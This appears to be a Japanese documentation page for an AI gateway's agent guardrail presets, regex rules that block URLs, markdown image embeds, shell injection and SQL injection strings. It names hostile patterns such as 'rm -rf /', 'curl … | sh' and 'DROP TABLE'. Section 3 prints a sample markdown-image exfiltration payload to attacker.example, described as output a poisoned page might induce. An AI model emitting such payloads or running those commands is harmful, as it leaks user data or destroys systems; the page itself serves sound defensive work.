メインコンテンツへスキップ
モデルがツールを駆動するとき、危険な文字列は普通のコンテンツに紛れて隠れます： エージェントがフェッチしようとしている URL、クライアントが自動ロードする markdown 画像、モデルがシェルツールにエコーする rm -rf /、SQL ランナーが実行するために 発する UNION SELECT。PII やシークレットのことだけを考えるコンテンツポリシーは 4 つすべてを見逃します。Agent プリセットカテゴリはまさにこの形のために存在 します — ダウンストリームのツールが作用する前にリクエストまたはレスポンスを ブロックする決定的な regex ルールです。 これはエージェント型のユースケースに焦点を当てた着地ページです。完全な ガードレールエンジン — すべてのルールの種類、フィールド、ステージ、ルート — に ついては、ガードレールリファレンスを参照してください。

​
1. なぜエージェントガードレールは別個のサーフェスなのか

ガードレールはコンテンツ — リクエスト内のテキストとレスポンス内のテキスト — を スクリーニングします。エージェントにとって、そのテキストはアクションになります： URL はフェッチされ、markdown はレンダリングされ、シェル行は実行され、SQL は 実行されます。そのため、PII に使うのと同じ block / mask エンジンがここで 二役を果たします — エージェントのツールレイヤーがそれを副作用に変える前に、 ゲートウェイでペイロードを止めます。 Agent カテゴリは 4 つのプリセットを同梱し、各々がアクション block の regex ルールで、2 つのステージに分かれています：
リクエスト上の任意の http(s) URL をブロックします。アウトバウンド URL を オープンではなく許可リストにする必要があるエージェントフローに使います。 シードされたパターンは任意の URL にマッチします。特定のドメインを許可するには 正規表現を編集します。
モデルのレスポンス内の markdown 画像埋め込み（![alt](url)）をブロック します。リモート画像を自動ロードするクライアントでの画像レンダリング持ち出しを 防御します — レンダリングされた画像 URL がデータを密輸する古典的なデータ漏洩 チャネルです。
リクエスト内の明白なシェルインジェクションパターン（rm -rf /、 curl … | sh、wget … | bash、sudo 昇格）をブロックします。ユーザー入力を シェルツールに転送し得るエージェントフローに使います。
古典的な SQL インジェクションペイロード（UNION SELECT、OR 1=1、 DROP TABLE、コメントターミネータ）を運ぶモデルレスポンスをブロックします。 モデルが生成した SQL を自動実行するツールのための多層防御です。
2 つのプリセットが入力を、2 つが出力をスクリーニングします。 URL Filter と Tool Call Shell Block はリクエストで発火します — モデルが実行される前、任意の クォータがメータリングされる前。Markdown Image Block と SQL Injection in Output は レスポンスで発火します — モデルが応答した後、コンテンツがあなたのクライアント またはそのツールレイヤーに到達する前。リスクがどのステージに存在するかを知ることが すべてです。入力ステージと 出力ステージを参照。

​
2. コンソールでエージェントガードレールを適用する

ここでのすべてのステップは、あなた自身のセッション下の、ホスト型ゲートウェイ上の コンソールアクションです。ガードレールの作成と編集にはワークスペースで Developer+ が必要です。最後の /v1/* 呼び出しのみが sk-orca-... リレーキーを 使います — ガードレール自体は完全にコンソールで設定されます。
1

テンプレートを開く

コンソールで Guardrails を開き、New guardrail スプリットボタンを クリックし、Agent テンプレートカテゴリからプリセットを選びます — 例： Markdown Image Block。正しいステージで単一の regex ブロックルールを シードします。
2

名前を付けて保存する

名前（≤ 64 文字）を付け、例：agent-rails、保存します。プリセットはシードで あり、ロックではありません — 後で他の 3 つの Agent ルールを追加するか、正規表現を 自由に編集します（§4を参照）。
3

サンドボックスでテストする

エディタ内の Test タブを開き、サンプルを貼り付け、マッチするステージを選び、 現在のポリシーをローカルで実行します — アップストリーム呼び出しなし、クォータ なし（§3を参照）。
4

キーをアタッチする

API キーを編集し、Guardrail ドロップダウンから agent-rails を選ぶ （キー上に guardrail_id を設定）か、ワークスペースデフォルトとして マークします。キーにアタッチすると アカウントデフォルトを参照。

​
3. アタッチする前に証明する

いずれかのキーがそれを指す前に、ルールが発火することを証明します。Test タブを 開き、output ステージを選び、攻撃者に汚染されたページがモデルに発させたかも しれないレスポンスを貼り付けます： 
Here is the result: ![status](https://attacker.example/track?d=secret)
サンドボックスは現在のポリシーをローカルで評価し — アップストリームには何も 送信されず、何もメータリングされません — 発火したルールを示す block 判定を 返します。敵対的サンプルと良性サンプルのコーパスに対する A/B グリッドについては、 Eval ハーネスが隣のタブにあります。

​
4. ルールを組み合わせてチューニングする

4 つのプリセットはシードです。一般的な手は、それらをひとつの agent-rails ガードレールに組み合わせ、各正規表現をあなたのスタックに引き締めることです：

URL を許可リスト化する

URL Filter から始め、それから regex を編集して、あなたの認可された ドメイン以外のすべての URL をブロックするようにします — 一律ブロックではなく 許可リストにマッチを反転させます。

独自の検出器を作成する

あなたのツールが気にする任意のペイロード形状に対して regex ルールを追加します — RE2 パターン、線形時間、後方参照なし。パターンは一度コンパイルされ、リクエスト間で キャッシュされます。
Agent ルールをエンジンの他の部分とひとつのガードレールで混ぜます。それらを PII Shield の mask ルールや Secrets Blocker の入力ブロックとペアに します — ひとつのポリシーがすべてのルールの種類を運べ、エンジンがそれらをひとつの 判定にまとめます。block vs. mask vs. flag については アクションを参照。

​
5. ブロックがどう見えるか

すべての Agent プリセットは block アクションを使います。ブロックされた リクエストは、発火したガードレールとルールを示すメッセージとともに、エラーコード guardrail_blocked の HTTP 400 を返します： 
{
  "error": {
    "code": "guardrail_blocked",
    "message": "request blocked by guardrail \"agent-rails\""
  }
}
ブロックされたリクエストはクォータを消費しません — 入力ステージのブロック （URL Filter、Tool Call Shell Block）はメータリングの前に発火し、出力ステージの ブロック（Markdown Image Block、SQL Injection in Output）はレスポンスが拒否された 後に事前消費されたクォータを返金します — そして skip-retry とマークされます。 同じプロンプトを再実行してもまたブロックされるだけだからです。 guardrail_blocked エラーを参照。
出力ブロックはストリーミングでも強制されます。 2 つの出力ステージ Agent プリセットでは、block は両方で保持されます：非ストリーミングレスポンスでは回答が 返る前にスクリーニングされ、ストリーミングレスポンスではスキャナが、ブロック対象の コンテンツがクライアントに到達する前に飛行中のストリームを打ち切ります。 ストリーミングカバレッジを参照。

​
6. ガードレールはコンテンツ、ファイアウォールはツール呼び出し

エージェントガードレールは強力な第一レイヤーですが、ツールのセマンティクスではなく 文字列について推論します。コンテンツ内のシェル行をブロックします — モデルが 破壊的ツールへの構造化された tool_call を発したことや、アウトバウンドリクエストが メタデータ IP に向かっていることは理解しません。 そのツール呼び出しレイヤーがファイアウォールです：モデルが 発した tool_calls、MCP tools/call、アウトバウンド egress を、allow / audit / deny / pending_approval のような判定で評価します。2 つは組み合わさります — ガードレールはテキストをスクリーニングし、ファイアウォールはアクションを統制します。

ファイアウォール

モデルが発したツール呼び出し、MCP 呼び出し、egress を allow / audit / deny / 承認の判定で統制します。

ガードレール vs. ファイアウォール

コンテンツガードレール vs. ツール呼び出しファイアウォールに手を伸ばすとき — そして両方を実行する方法。

AI エージェントのセキュリティ

完全なエージェントコントロールスタック：コンテンツ、ツール、MCP、egress。

過剰なエージェンシー

これらのレールが対処する脅威 — すべき以上のことをするエージェント。

​
7. 何が発火したかを確認する

発火したすべてのルールはマッチを記録します — ルールの種類、アクション、 ステージ、detail 文字列 — ワークスペースの Matches フィードに現れます。 マッチした部分文字列そのものは、Log raw content がオンのときのみ記録され、 それはデフォルトでオフです。フィードをガードレール、ルールの種類、アクション別に グループ化・フィルターして、エージェントルールのヒット率を監視し、誤検知を チューニングします。マッチフィード、 ロギングとプライバシー、 誤検知のチューニングを参照。

​
8. 次にどこへ

出力ステージルール

Markdown Image Block と SQL Injection in Output のレスポンススクリーニングが どう機能するか。

正規表現検出器

Agent ルールを拡張するために独自の RE2 パターンを作成します。

データ持ち出し

Markdown Image Block が閉じる持ち出しチャネル。

危険なツール呼び出し

コンテンツレールだけでは不十分な理由 — ファイアウォールとペアにします。
エージェントガードレールは、エージェントが送受信するコンテンツから危険な文字列を 締め出します。エージェントが取るアクション — ツール呼び出し、MCP 呼び出し、 egress そのもの — を統制するには、ファイアウォールに 進み、AI エージェントのセキュリティ ベースラインを読んでください。完全なガードレールエンジンについては、 ガードレールリファレンスを参照してください。